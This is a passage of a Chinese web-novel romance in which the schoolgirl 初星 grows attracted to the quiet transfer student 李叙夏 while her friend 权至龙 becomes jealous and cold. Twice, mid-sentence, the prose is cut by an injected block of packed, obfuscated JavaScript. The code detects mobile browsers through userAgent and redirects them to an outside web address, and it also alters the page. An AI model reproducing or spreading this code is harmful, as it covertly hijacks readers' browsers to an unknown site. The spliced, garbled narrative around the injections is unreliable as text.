周围的窃窃私语声像背景音一样飘进初星的耳朵。她客观地、冷静地审视着,不得不承认,这个叫李叙夏的男生的确是校园里罕见男神级别的人物,干净、好看,气质出众。而且那种内向安静、略带疏离感的气质,和她身边那个永远活力四射、情绪外露、有时热烈得甚至有些吵闹的权至龙形成了鲜明而强烈的对比。 班主任环视教室,安排李叙夏坐在了初星斜后方的一个空位上。 接下来的几天,李叙夏毫无悬念地迅速成为了班级乃至整个年级的焦点。他话很少,总是安安静静地坐在自己的位置上看书、做题,或者安静地听着别人说话,微微笑一下,礼貌却带着距离感。这种略带神秘色彩的腼腆和安静,反而更引人探究和注目。他的课桌抽屉里开始出现匿名的情书和包装精致的小礼物,无论走到哪里,似乎都能轻易吸引周围追随的目光。 初星和他几乎没有任何交集,仅限于偶尔前后桌传递作业或试卷时,极其简短的“谢谢”和“不客气”。她观察过他几次,发现李叙夏虽然内向沉默,但举止很有教养,眼神也很干净透彻,不像是有坏心思的人,让人讨厌不起来,但也仅止于此。 放学,夕阳将天空染成暖橙色。初星照常和权至龙并肩走着。 至龙显然也听说了李叙夏的事,状似无意地、用尽量随意的口吻提起,眼神却偷偷瞟着她的反应:“初星,听说你们班这学期来了个转学生?好像闹出的动静不小?特别受欢迎?” “嗯,是有一个。”初星点点头,“叫李叙夏,是从光州转来的。” “听说……长得还挺帅?”至龙的声音里带上了一丝不易察觉的紧张和细微的比较意味,他更加仔细地偷观察着初星的侧脸,不放过任何一丝表情变化。 初星想了想,给出了客观的评价:“嗯,是挺好看的,是很干净、很清秀的那种好看。而且性格很安静,跟……”她顿了顿,敏锐地瞥了一眼身边瞬间绷紧了下颌线、明显进入戒备状态的权至龙,把到了嘴边的“跟你那种吵吵闹闹的活力完全不一样”这句话及时咽了回去,“……跟很多人都不太一样,不太爱说话。” 权至龙心里迅速拉响了最高级别的警报!他从初星嘴里听到了对另一个男生外貌和性格的正面评价!让他产生了巨大的、前所未有的危机感。那种安静、好看、略带神秘感的美男子类型,是不是……是不是初星会偷偷欣赏甚至喜欢的类型?和他自己这种恨不得把心掏出来给她看的直球风格截然不同! 他几乎是立刻有点炸毛,像是被侵犯了最珍贵领地的、护食的小兽,话里是明显的酸意和急于贬低对方的冲动,还有点口不择言:“安静?安静有什么好的!一天说不了几句话,多闷啊!在一起肯定无聊死了!像个闷葫芦一样!”他说完,似乎又意识到自己反应过激了,有点后悔,怕初星觉得他小心眼、没风度,于是抿了抿嘴,眼神闪烁地看向别处。 初星看了他一眼,觉得他这通火发得有点幼稚,没有任何偏袒:“只是性格不同而已,没必要比较。他看起来人还挺好的,很礼貌,也不惹事。” 然而在正处于高度敏感和危机状态的权至龙耳朵里,是初星在为那个新来的“闷葫芦”辩护!是在肯定对方的优点! 至龙顿时更郁闷了,像被戳破了的气球,一路上话都少了很多,时不时偷偷用眼角瞄初星,一副欲言又止、患得患失、委委屈屈的样子,仿佛受了天大的冤枉。 初星感受到了他低落的情绪和那过于频繁、几乎无法忽视的偷瞄视线,心里有些好笑,又有点无奈。 走到楼门口,至龙还是一副无精打采、耷拉着脑袋的样子。 初星停下脚步,轻声叫了他一声,声音比平时清晰了些:“至龙。” “嗯?”至龙抬起头,眼神有点黯淡,带着点残留的委屈看向她。 初星看着他这副样子,语气平静却带着一种奇异的、能瞬间抚平焦躁的安抚力量,像是朋友间可靠的承诺,又隐约多了点什么难以言喻的意味:“围巾,我明天会戴。早上天气预报说,会降温,风很大。” 权至龙愣了一下,眼睛倏地睁大,随即像被注入了最强劲的能量,所有的忐忑、郁闷、不安和那点可笑的醋意,在这一句平淡却无比实在的话语面前,顷刻间烟消云散,被狂喜取代。 “真的?”他傻气的笑容回到脸上,灿烂得堪比此刻天边的晚霞,“好!太好了!那明天见!我等你!” 看着至龙阴转晴、重新变得活力满满、几乎要蹦跳着离开的背影,初星轻轻摇了摇头,嘴角却不受控制地,带着一丝清浅而纵容的笑意。 …… 初星对那位校园新晋男神李叙夏,确实没什么特别的想法。在她看来,他好看是客观事实,却总像一幅静止的、过于完美的画,安安静静地待在角落,除了偶尔面对情书和热烈目光时会露出些许困扰和腼腆的表情外,大部分时间就像一尊精致却缺乏生气的雕塑,还有点……呆呆的,无法引起她更多的探究欲。远不如她身边那个总能精准牵动她情绪、让她时而无奈时而好笑、鲜活又热烈的权至龙来得有趣和…亲近。 然而,一次完全出乎意料的、短暂的交集,却微妙地动摇了她这个固化的印象。 平淡的午休时间,初星被老师叫去资料室帮忙整理上学期的旧资料。资料室位于教学楼最僻静的角落,里面堆满了陈年的卷宗和文件夹,空气里漂浮着淡淡的旧纸张和细微尘埃混合的味道,安静得能听到自己的呼吸声。 初星抱着一摞刚分门别类整理好的厚重文件,想将它们放到最高的那层架子上。她踮起脚,努力伸长了手臂试了几次,指尖却总是差那么一点,无法稳稳地将文件推入。 在她蹙起眉,考虑要不要去角落搬把看起来不太稳当的椅子时,一只修长、骨节分明且非常干净的手从她身侧后方伸了过来,轻松而平稳地接过了她手中那摞颇有重量的文件,毫不费力地将其稳稳推入了书架顶层那个她难以触及的位置。 初星惊讶地回头,鼻尖几乎擦过来人的校服衣领,对上了李叙夏那双总是清澈却惯常带着些许疏离感的浅色眼眸。 “啊……谢谢。”初星愣了一下,后退了半步,拉开一点距离,赶忙道谢。 李叙夏似乎也有些意外在此遇到她,他微微摇了摇头,动作幅度很小,依旧轻缓温和:“不客气。”说完,他便准备侧身离开。 恰在此时,资料室那扇有些老旧的、门轴不太灵活的木门,被一阵不知从何而来的过堂风吹动,“砰”地一声闷响,严严实实地关上了! 两人皆是一怔,同时看向门口。 李叙夏率先反应过来,上前试着拧了拧门把手,门纹丝不动。 “好像……从外面锁上了?”他迟疑地说,有些不确定和困扰,微微蹙起眉头。 初星也走过去试了试,门确实被卡死了,纹丝不动。看来是那阵风太大,把原本可能只是虚掩着的门猛地带上了自动锁死的锁舌。 “可能是风带上的,这门有时候这样。”初星叹了口气,还算镇定,从口袋里拿出手机,“我打电话给值班老师或者教务处……” “那个,”李叙夏不好意思地开口,指了指资料室墙上贴着一张泛黄的、打印的注意事项,“这里好像……一直信号都不太好。地下室旁边,又是角落。” 初星看了一眼自己的手机屏幕,果然,信号格空空如也,连紧急呼叫的图标都显得虚弱。 一时间,两人被困在了这间安静得只剩下尘埃在光线中漂浮、落针可闻的资料室里。 气氛变得有些微妙的尴尬。初星本就不是擅长主动找话题、热络气氛的人,而李叙夏更是沉默寡言、习惯性降低自身存在感的代表。 时间在寂静中一分一秒地流逝,显得格外漫长。初星靠在冰凉的书架旁,看着李叙夏又尝试着轻轻敲了敲门,动作斯文又带着点无可奈何的笨拙,仿佛怕敲得太用力会惊扰到什么。 她看着校园里这位万众瞩目、总是被目光环绕的男神,此刻居然和她一起被莫名关在这间布满灰尘、与世隔绝的屋子里,露出一副束手无策、略显茫然的模样,觉得这场景有点荒谬的好笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680909|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也许是她的目光太过直接,或者那丝未来得及完全收敛的笑意泄露了什么,李叙夏回过头,浅色的眼眸恰好捕捉到她脸上一闪而过的笑意。 他微微偏了下头,眼神里带着一丝询问。 初星索性破罐破摔,反正也出不去,气氛已经够奇怪了,不如坦然点。她轻声说,带着自嘲:“感觉我们俩……有点倒霉。像被关禁闭了。” 话音刚落,李叙夏看着她那副有点无奈又觉得这情况确实有点好笑的表情,嘴角微微动了一下。 眨眼间一个清晰而柔和的笑容,就像拨开层层云雾的皎洁月光,缓缓地、毫无预兆地在他脸上绽放开来。 那不是他平时那种礼貌的浅笑,而是真正被眼前这荒谬情境和她那句话逗乐了的、发自内心的、放松的笑容。眼睛弯成了好看的、微微下垂的弧度,长长的睫毛垂下淡淡的阴影,整张原本过于安静甚至有些淡漠疏离的精致脸庞,刹那变得无比生动和温暖,貌似有柔和的光芒从他干净的眼底流溢出来,冲散了所有距离感。 “是啊,”他笑着应和,声音里带着难得的、真实的轻松笑意,听起来格外悦耳,“是有点倒霉。没想到来这里找份旧资料还能遇到这种事。” 初星怔神的看着他的笑容,心脏莫名地漏跳了一拍,节奏被打乱。她好像就深刻地理解了为什么那么多女生会为他疯狂、为他着迷。原来他真正笑起来是这样的——干净、温暖,带着一种能击破所有隔阂、融化所有冰层的生动魅力,与他平日里那种腼腆安静、淡漠的模样形成了强烈的反差。 幸好,这尴尬又微妙的独处并没有持续太久。门外传来了脚步声和钥匙串的叮当声,门从外面被值班老师打开,明亮的光线和走廊的空气一下子涌了进来,驱散了资料室里那略显逼仄和微妙的氛围。 “谢谢老师。”初星连忙道谢,像是要迅速逃离这狭小空间里刚刚滋生出的、让她心跳失序的陌生氛围,低着头快步走了出去。 李叙夏跟在她身后一步远的地方,也低声向老师道了谢。 初星没有回头,径直朝着自己教室的方向走去,试图让加快的心跳平复下来,但脑海里还不受控制地回放着刚才那意外的几分钟独处,尤其是那个突如其来的、极具冲击力的笑容。 在她走到走廊拐角,即将离开这片安静区域,回归喧闹的教学楼主楼时,身后却传来一个清润温和、辨识度很高的声音,带着一丝清晰的迟疑,叫住了她。 “裴初星同学。” 他的声音不大,却在相对安静的走廊里显得格外清晰。初星脚步下意识地一顿,有些意外地转过身。他居然记住了她的全名? 只见李叙夏还站在资料室门口那片被窗户投下的光晕里,他见她回头,那双清澈的浅色眼眸专注地望向她,很轻却又很认真地补充了一句,仿佛是在完成一个被意外打断的正式介绍:“我是李叙夏。” 说完,他脸上又缓缓绽开一个笑容。 那不再是之前资料室里那种被逗乐的、放松的笑意,而是一个真正意义上、完整展露给她的、带着清晰自我介绍的、告别式的微笑。干净的眼眸微微弯起,像是盛满了窗外洒进来的细碎阳光,嘴角上扬的弧度温柔又好看,整张白皙精致的脸庞因为这个专注的笑容而变得无比生动明亮,带着一种介于腼腆与真诚之间的魔力。 他轻轻摇了摇手,动作自然又不失风度,声音温和:“再见。” “我是李叙夏。” “再见。” 这句简单的、郑重的自我介绍,配上他摇手的动作和那个在光晕中迷人得几乎令人屏息的专注笑容,像一颗形状完美、力道恰到好处的石子,清晰地、不容忽视地投入初星平静的心湖,激荡起一层层细微却持久的涟漪。 “……嗯,再见,李叙夏。”她听到自己的声音比平时软了一些,匆匆点了点头,几乎是立刻转身,加快脚步离开了那个走廊拐角。 走回教室的那段路,初星的心跳依然没有完全平复下来,脸颊的热度也迟迟未退。那个画面——“我是李叙夏”、他摇手的动作、还有那个在光晕里的专注笑容——像一帧慢镜头,反复在她脑海里回放。 她确实心动了。那种感觉清晰而明确,不同于和权至龙在一起时那种安心、熟稔、如同冬日暖阳般的亲切感和依赖感。这是一种带着陌生吸引力的、小鹿乱撞般的、源自视觉和氛围的悸动,是春日里突然拂过的一阵带着花香的风。 下午放学时,看到权至龙一如既往地、早早地等在那个老地方,脸上还是熟悉无比的笑容,大大咧咧地朝她用力挥手,声音洪亮地大喊“初星!这里!今天怎么有点晚?”时,初星心里依然感到一种舒适的、如同回家般的亲切和踏实。 但那份因为李叙夏而泛起的、短暂的、微妙的波澜,并未完全褪去。它悄悄地、无声地潜藏在了心底某个角落,像一个轻柔的印记,提醒着她,某种不一样的情愫,已经在那个午后的资料室门口,悄然发生了一次心跳的偏移。 20. 心动与暖阳 那份因李叙夏在资料室门口那个专注笑容而起的、清晰却短暂的悸动,并未像窗外被风吹散的薄云一样立刻消失无踪。它更像一滴悄然滴落心湖的晨露,荡开圈圈细微却持久的涟漪,在初星自己都未曾刻意关注的心湖深处若有若无地扩散着它的影响。 接下来的几天,初星总会不自觉地、比以前更频繁地将目光投向那个安静坐在斜后方的身影。她开始注意到更多关于李叙夏的细节:他思考问题时习惯性轻蹙的眉头,阳光下他近乎透明的白皙耳廓,他修长手指握笔时清晰的骨节,以及他偶尔因解出难题或读到有趣段落时,嘴角那抹极淡却真实的、转瞬即逝的笑意。这些发现像拼图碎片,一点点拼凑出一个比“长得好看但有点呆”更立体、更引人探究的形象。 而让她有些意外且心跳悄然加速的是,李叙夏似乎也开始主动地、带着特有的含蓄、笨拙与她创造着微小的交集。 英语课上,老师点名让他朗读课文。他清润温和、带着独特韵律和饱满情感的嗓音在安静的教室里响起时,初星会下意识地停下手中转动的笔,目光从书本上抬起,落在窗外被风吹动的树叶上,耳朵却专注地捕捉着他清晰的发音和语调的微妙起伏。当他读完最后一个句子,放下课本的瞬间,他的目光似乎无意地、极其短暂地扫过她的方向,在她恰好抬眼的刹那,与她探究的目光在空中相遇。他像是被微微烫到一般,飞快地、略带腼腆地垂下眼帘,白皙的耳根以肉眼可见的速度泛起淡淡的红晕。 午休时间去小卖部,初星站在冰柜前,正犹豫着要买矿泉水还是她常喝的西柚汁。一只修长干净的手从旁边伸过,精准地拿起了那瓶她目光停留过片刻的西柚汁,轻轻放在她面前的柜台上。初星讶异地转头,看到李叙夏不知何时安静地站在了她身边,保持着恰到好处的社交距离。 “这个……还不错。”他声音轻得像一片羽毛拂过耳畔,“比较清爽,不会太甜腻,适合……天气热的时候。”说完,他没等初星做出任何回应,甚至没敢看她的眼睛,便像是完成了某项重要却令人害羞的任务般,微微颔首示意,几乎有些仓促地先一步转身离开了,留下一个清瘦安静的背影。初星看着柜台上的那瓶西柚汁,冰凉的瓶身上凝结着细密的水珠,折射出零星的光点,却让她莫名地感觉脸颊微微发热,心跳加速跳动起来,一种微甜的雀跃感悄然蔓延。 最让她心绪波动的一次,是在图书馆靠窗的安静阅览区。阳光透过玻璃窗洒进来,在地板上投下明亮的光斑。初星正费力地想从高层书架上取一本厚重的《艺术的故事》,再次因为身高不够而踮起脚,指尖勉强触碰到书脊却无法发力将它抽出。一只手臂轻松地从她身后越过,稳稳地替她抽出了那本沉甸甸的大部头。 “是这本吗?”李叙夏的声音在她身后响起,温和依旧,随着距离的拉近而显得比平时更清晰、更温暖的气息。初星回头,接过那本沉甸甸的书,指尖无意中擦过他微凉的手背,带来一阵细微的电流感:“谢谢……又是你。”她语气里带着一丝自己都没察觉的、细微的感叹和莫名的熟稔。 “嗯,刚好在附近找一本关于古典音乐的书,看到了。”他态度平静,但目光专注地看着她,琉璃般的浅色眼眸在阳光下显得格外清澈,并没有立刻离开的意思。 空气安静了几秒,只能听到远处书页翻动的沙沙声和窗外隐约的蝉鸣。他像是鼓足了某种勇气,轻声问,声音里带着紧张和关切:“裴初星同学,上次……资料室的事,真的没给你造成什么困扰吧?我后来……有点担心。” 初星摇摇头,“没有。真的只是意外而已,早就过去了,你不用放在心上。” “那就好。”他似乎暗暗松了口气,紧绷的肩膀微微放松下来,“那……不打扰你了。”他这才礼貌地点头示意,转身离开,步伐似乎比平时显得轻快了一些,阳光在他发梢跳跃。初星抱着那本厚重的书,站在原地,看着他的背影消失在书架尽头,心里那片湖水的涟漪,似乎荡漾得更开了。 这些细微、零散却又指向明确、一次次叠加的互动,像涓涓细流汇聚,悄然漫过初星习惯性保持距离的心防。她无法再将其简单归结为巧合或同学礼貌。李叙夏确实在用他自己的方式,主动地、小心翼翼地靠近。 她开始清晰地意识到,李叙夏对她而言,不再仅仅是一个同学。那种初见时因视觉惊艳而产生的基础好感,在这几次短暂却逐渐增多的交集后,似乎悄然发酵出了更多令人心绪微澜、生出一丝模糊期待的东西。她还会偶尔、在看到空着的后排座位时,生出一丝极淡的失落,或者在下课铃响时放缓收拾东西。 表面上,她一切如常,是那个对外表情淡淡、话不太多、大部分时间沉浸在自己世界的裴初星。尤其是每天放学后,和权至龙一起回家的那段时间里,她努力维持着以往的节奏和状态,仿佛什么都没有改变。 权至龙依旧是那个热情、直接、永远像个小太阳一样充满活力和赤诚的权至龙。但他对初星情绪的感知,敏锐得惊人,仿佛像一种与生俱来的本能。他几乎是立刻就察觉到了初星偶尔的走神、心不在焉,以及似乎比平时多起来的、一些他无法触及、仿佛被小心翼翼藏起来的“小秘密”。那种微妙的、若有似无的距离感,像一层薄纱,轻轻隔在两人之间,让他感到莫名的不安和心慌。 “初星,”回家的路上,蝉鸣聒噪,夕阳将两人的影子拉得很长,他终于忍不住,装作不经意地问道,连珠炮似的语速都放缓了些,“你最近好像……有点不一样?”他仔细地看着她的侧脸,不放过任何一丝细微的表情变化,“是遇到什么开心的事了吗?还是……认识了什么新的、有趣的朋友?”他的直觉精准地指向了某个模糊却让他警惕的方向,“感觉你有时候……好像在想事情,在想一些……我不知道的事情。”他最后一句说得有点轻,带着点不易察觉的委屈。 初星被他的问话从游离中拉回现实,回过神来,看向至龙那双写满了毫不掩饰的关切、一点点藏不住的不安和渴望知晓一切的焦灼的眼睛,心里掠过一丝极其细微的、类似愧疚的情绪,她摇摇头,恢复一贯的平淡,“没什么,你多想了。只是快考试了,课程有点难,作业有点多,有点累而已。” 她无法告诉他,也无法向自己彻底承认,自己刚才那一瞬间的走神和心底那丝莫名的愉悦,或许是因为不经意间回味起了另一个男生安静递过果汁时那泛红的耳根和阳光下格外清澈的眼神。 至龙仔细地、近乎贪婪地观察着她的表情,似乎想从她的眼神里确认什么,最终像是没有得到能让他安心的答案,眼神里闪过失落和黯淡,但他很快又强行振作起来,像是给自己打气,努力让气氛重新变得轻松活跃,声音重新提高了些,试图用热情驱散那层薄纱:“那就好!要是真有什么开心的事,一定要告诉我哦!我想第一个知道!或者……要是你不开心了,累了,也一定要告诉我!我……” 他又开始絮絮叨叨地说起各种琐事、听到的笑话和对于明天的种种计划,试图用密集的声音和分享填满两人之间的每一寸空气,将那若有似无的距离感挤走。 初星安静地听着他滔滔不绝的话语,看着他努力掩饰那丝失落、又强装开朗和不在意的样子,看着他眼底深处那抹害怕被排除在外的脆弱,心里那点因李叙夏而悄然泛起的波澜,被这熟悉的、厚重的、几乎令人窒息的温暖和一丝隐隐的不忍与歉意悄然搅动、稀释。 “至龙。”她轻声打断了他试图持续不断的、略显慌乱和刻意活跃的话语。 “嗯?”他立马停下,猛地转头专注地看向她,眼神里瞬间重新燃起明亮的、充满期待的火焰。 “明天下午,”初星避开了他灼热的目光,尽量自然地说,目光落在前方被夕阳染成金色的路面上,“突然有点想吃xx街转角那家店的饭团了,你能帮我带一个吗?” 权至龙整个人愣了一下,眼睛唰地一下亮了起来,初星几乎从未主动向他提出过这样具体而细微的、带着依赖和信任意味的请求,这对他来说,简直是天大的恩赐和肯定。 “当然能!绝对能!这有什么问题!包在我身上!”他激动得声音都提高了八度,几乎要跳起来,语速快得像发射的连环炮弹,每一个字都洋溢着无比的喜悦和干劲,“你想吃什么口味的?金枪鱼?还是烤肉的?或者新出的泡菜口味?我明天提前溜出去排队!保证买到最新鲜、最热乎、馅料最足的!你要几个?一个够吗?会不会饿?要不要多带一个当零食?或者再带杯喝的?他们家豆浆好像也不错!” 看着他因为自己一个小小的、带着一丝补偿心理的请求,就高兴得手足无措、恨不得把全世界都捧来的样子,初星那片柔软的、带着歉意的角落又被深深地触动了,泛起一丝细微的疼。她轻轻弯了下嘴角,带着一丝无奈的纵容:“金枪鱼的就好。一个就够了。谢谢。”她顿了顿,补充道,“不用特意提前去,放学顺路带就好。” “顺路!绝对顺路!一点都不麻烦!”至龙笑得见牙不见眼,胸膛挺得高高的,仿佛接到了世界上最光荣的任务,之前的忐忑和不安被彻底抛到了九霄云外。 …… 夏日的傍晚黏稠而闷热,知了声嘶力竭地鸣叫着,仿佛在用尽最后的气力诉说着尾声。权至龙额头上沁出细密的汗珠,校服衬衫的后背也洇湿了一小片,紧紧贴着皮肤,勾勒出少年清瘦的脊线。他靠在那棵熟悉的树下,斑驳的树影落在他身上,随着微风轻轻晃动。他已经等了将近四十分钟,腿都有些发麻,目光却始终紧紧盯着学校的方向。 放学铃响过很久了,喧闹的人流早已散尽,校园变得空旷而安静,只剩下不绝于耳、仿佛永无止境的蝉鸣。初星却还没出来。 至龙揣着一种说不清、道不明的不安,像这闷热得没有一丝风的天气一样,沉沉地堵在胸口,让人有些喘不过气。这几天,初星总是很晚才离开学校。他发去的消息,她回复得越来越慢,间隔时间越来越长,内容也越来越简短,常常只是“嗯”、“在忙”、“别等了”、“你先回去”。每一个字都像一根细小的针,轻轻扎在他敏感的心上。 但他还是来了。每天都来。固执地、雷打不动地等在这棵熟悉的树下。 终于,那个熟悉纤细的身影出现在了巷口。至龙刚想扬起笑容,像往常一样用力挥手并大声喊她的名字,动作和声音却同时僵在了半空——他看到初星正微微侧着头,和身边的人说着什么。傍晚依旧炽热明亮的阳光如同一盏巨大的聚光灯,勾勒出那人的轮廓,身材高挑清瘦,穿着干净整洁的校服。 他们站在巷口那片被夕阳拉长的、金光闪闪的光影里,简短地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680910|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交谈了几句。至龙离得有些远,听不清具体内容,只看到初星脸上带着一种他很少见过的、自然而轻松的浅浅笑意。那个李叙夏也微微低着头听着,侧脸线条清晰流畅,偶尔回应一句,样子很安静,两人之间流淌着一种难以形容的、默契而平和、有些…融洽的氛围,形成了一个外人难以介入的、安静的小世界。 至龙脸上的笑容彻底凝固了,举到一半的手像是被抽走了所有力气垂了下来。心里那股盘旋已久的不安变成了沉甸甸的、冰冷的石头,猛地坠下去。他僵在原地,一动不动地看着那幅被夕阳渲染得有些刺眼的画面,感觉夏日的闷热好像一下子变成了厚重粘稠的实体,严严实实地裹住了他,让人窒息。 初星注意到了等在楼下树荫下、身影几乎要与阴影融为一体的他。她脸上的笑意收敛了些,和那个男生又说了句什么,才转身朝他走过来。 “等很久了吗?”她的语气听起来和平时差不多,但至龙敏锐地捕捉到了其中的疏离,仿佛他只是个需要客气对待的同学。她用手当作扇子,在脸旁轻轻扇着风,目光扫过他汗湿的额头和有些狼狈的样子,那眼神里有关心,却少了点以往的熟稔和随意。 “没…没多久。”至龙摇摇头,喉咙干涩得发紧,他努力想让自己的声音听起来轻松自如,却掩饰不住那一丝僵硬和沙哑,“刚才那是…你们班的同学?看着有点眼熟。”他装作不经意地问,手指却紧紧抠着书包带子,指尖因为用力而微微发白,泄露了他内心的紧张和……一丝嫉妒。 “嗯,他就是李叙夏。”初星的回答非常简短,没有多余的解释,没有提起讨论的内容,也没有丝毫的不自然或想要掩饰的意思,“刚才讨论了一下下周小组作业的细节,耽误了点时间。” 两人像往常一样并肩往楼道口走,但周围的空气却仿佛彻底改变了性质,凝固而沉重。往常总是至龙叽叽喳喳、活力四射地说个不停,初星偶尔简短回应,或者不耐烦地让他“闭嘴”。今天,至龙却感觉所有准备好的趣事、笑话和迫不及待想要分享的念头,都像被太阳晒化了,粘在喉咙深处,沉重得一个字也吐不出来。而初星,也异常地沉默,只是微微低着头,目光落在被夕阳拉得长长的、不断交叠又分开的影子上。 至龙偷偷地瞄了一眼身边的初星,她似乎还沉浸在自己的世界里,目光看着前方某处虚无的点,嘴角似乎还残留着方才和那个男生说话时扬起的弧度。 他终于无法忍受这令人窒息的、陌生的、仿佛被排除在外的静默,鼓起勇气打破了它,“初星…我们周末…还去上次说好的那家新开的刨冰店吗?你上次不是说…那家的红豆冰看起来好像还不错…料很足…” 初星的脚步几不可查地顿了一下,但至龙的心却随着这个微小的停顿倏地悬了起来。她没有看他,目光依旧看着前方,声音轻轻的,混在周围嘈杂鼎沸、仿佛在嘲笑他的蝉鸣声里,几乎要被淹没:“这周末…可能不行了。”她的声音带着一种温柔的残忍,“作业有点多,物理和数学的卷子都没写完。而且…”她顿了顿,坚定地补充道,每一个字都像小石子一样砸下来,“小组报告的任务分配还没最终弄完,可能还得花时间讨论一下。” 至龙猛地低下头,看着地上自己有些扭曲变形的、孤单的影子,心里那片积聚已久的乌云彻底压了下来,又闷又重,透不进一丝光亮。他所有精心准备的期待、满腔的热情和对于周末约会的憧憬,像被烈日彻底晒蔫了的叶子,无力地耷拉了下去,失去了所有生机和色彩。 “哦…好吧。”他低声应着,声音闷闷的,被一阵蝉鸣轻易盖过,那蝉鸣像是在为他的失落伴奏,“那…下次吧。等你有空再说。” 剩下的几步路,两人几乎再没有任何交流,只有耳边令人心烦意乱的蝉鸣和远处马路传来的、模糊不清的车流噪音,衬托得沉默更加震耳欲聋。走到每天分别的熟悉楼道口,至龙停下脚步,像往常一样想说“明天见”,嘴唇动了动,却感到一阵怯懦和害怕。 最终,他只是低声说了句,“上楼小心。” “嗯,你也是路上小心。”初星点点头,没有多余的话,也没有看他,也没有像往常一样等他先转身,便径直转身走进了楼道门洞,身影很快被里面的阴影吞没。 权至龙独自站在原地,却没有立刻离开。晚风吹来,依旧是温热的,裹挟着白天的余热和尘土的气息,却吹不散心里的滞闷和冰凉。他呆呆地站了一会儿,才慢慢地转过身,拖着仿佛变得异常沉重的脚步,失魂落魄地、一步一步地朝着家的方向走去。 肩上的书包变得前所未有的沉,里面好像塞满了今天所有的沉默、难以言说的失望、那个男生安静侧影的画面、两人融洽交谈的氛围以及初星嘴角残留的、不属于他的淡淡笑意。他搞不懂那些复杂难解的心思和悄然变化的情绪,但他能清晰地、痛苦地感觉到——有什么东西,像这夏天骤变的天气一样,在他毫无防备的时候,已经彻底地、无声地改变了。他好像正在眼睁睁地、无力地失去某种东西,像被困在闷热午后、只能绝望嘶鸣的蝉,无论怎样挣扎,都显得徒劳而苍白。而最让他难受的是,他甚至不知道该如何去挽回,如何去竞争,因为对手甚至没有展现出任何攻击性,只是安静地站在那里,就似乎吸引走了她的目光。 21. 雨中对峙 接下来的日子,权至龙依然每天都会准时出现在那棵树下。但他的姿态已然不同。 他不再像从前那样伸长脖子、热切地朝她出来的方向张望,也不再死死盯着,生怕错过她。他只是靠在粗糙的树杆上,校服外套随意地系在腰间,耳机严实地堵住耳朵,目光低垂,凝视着自己有些磨损的鞋尖,或是漫无目的地、空洞地望向街上穿梭不息的自行车和公交车尾灯。 初星出来的时间依然很晚。有时是一个人,怀里抱着几本书或文件夹,微低着头快步走过来,看到树下那个熟悉的身影时会明显顿一下脚步,嘴唇微动,看上去是想解释什么或打个招呼,但权至龙总会抢先一步,在她开口前面无表情地摘下一边耳机,用近乎冷漠的语调说:“走吧。” 然后便不再看她,重新戴好耳机。 有时,她还是会和李叙夏一起走到巷口。两人或许还在讨论着未完的课题,或许只是安静地并肩走一小段。每当这时,权至龙会像被烫到一样,立即转过身,用后背对着他们,低头胡乱地、毫无意义地按着手机键盘,指尖用力到泛白,或干脆像是无法多停留一秒,提前几步走,留下一个决绝又冰冷的侧影。他不再主动问“那是谁”,也不再看向那个让他心里堵得发慌、喉咙发紧的身影。 他们之间的话变得极少。每天一段路的陪伴,从曾经充满他絮叨和她偶尔回应的短暂时光,沉默从最初令人窒息的尴尬,逐渐凝固成一种常态化的、冰冷的距离。权至龙不再叽叽喳喳地分享练习室的趣事和失误,不再献宝似的推荐便利店新到的、包装花哨的零食,不再眼睛发亮地问她周末要不要一起去新开的书店或音像店淘碟。他只是安静地陪她走到楼下,扮演着一个尽职却毫无热情、仿佛完成任务般的守护者角色,周身笼罩着生人勿近的低气压。 初星显然清晰地感觉到了变化。她尝试过几次,小心翼翼地试图打破这令人不适的僵局。 “你最近……练习还顺利吗?新的……曲子?”她走到楼下,停下脚步试着挑起一个他曾经最热衷的话题,手指无意识地紧紧卷着书页的角落,将它揉得发皱。 “还行。”权至龙目视前方,应了一声,没有任何展开的意愿,也没有看她一眼。 “今天天气……好热,小卖部的红豆冰棍好像又卖脱销了。”她再次尝试,声音里带着一丝不易察觉的期待和试探。 “不吃了,作业多。”权至龙拒绝得干脆利落,连借口都敷衍得近乎冷漠。 他的回应总是这样简短、疏离,像一堵无形却坚硬的冰墙,将初星所有试图靠近、回暖的举动都被挡了回去。他也不再像以前那样,带着各种亲昵或搞怪的称呼叫她“初星”,而是用“喂”、“上去了”、“嗯”这样单调冰冷的词代替。 初星看着他紧绷的、线条冷硬的侧脸和刻意回避的、不肯与她对视的目光,那种闷闷的、堵堵的感觉越来越清晰,让她有点喘不过气。她熟悉那个笑容灿烂得晃眼、话多又有点吵、总是恨不得把所有好东西都塞给她的、像个小太阳一样的权至龙,却对眼前这个沉默、冷淡、周身散发着“别惹我”气息的男生感到无比的陌生和无措。她大概猜到这一切的源头是因为李叙夏的出现和那些连她自己都理不清的微妙交集,可面对他这样单方面的冷战,她又觉得有些委屈和不讲理——她并没有做什么真正过分的事情,不是吗? …… 周五下午,天气闷热得反常,空气粘稠得仿佛能拧出水来,预示着一场暴雨的来临。两人一前一后地走到她家楼下,中间相隔几乎有一米远的距离,仿佛划开了一道无形的楚河汉界。 在初星准备像往常一样低声说“我上去了”然后转身离开时,天际突然滚过一声沉闷的惊雷,紧接着,豆大的雨点毫无预兆地、噼里啪啦地砸了下来,又急又猛,瞬间将世界笼罩在一片白茫茫的水汽和喧嚣之中。 行人瞬间惊呼着四散奔逃,寻找避雨处。 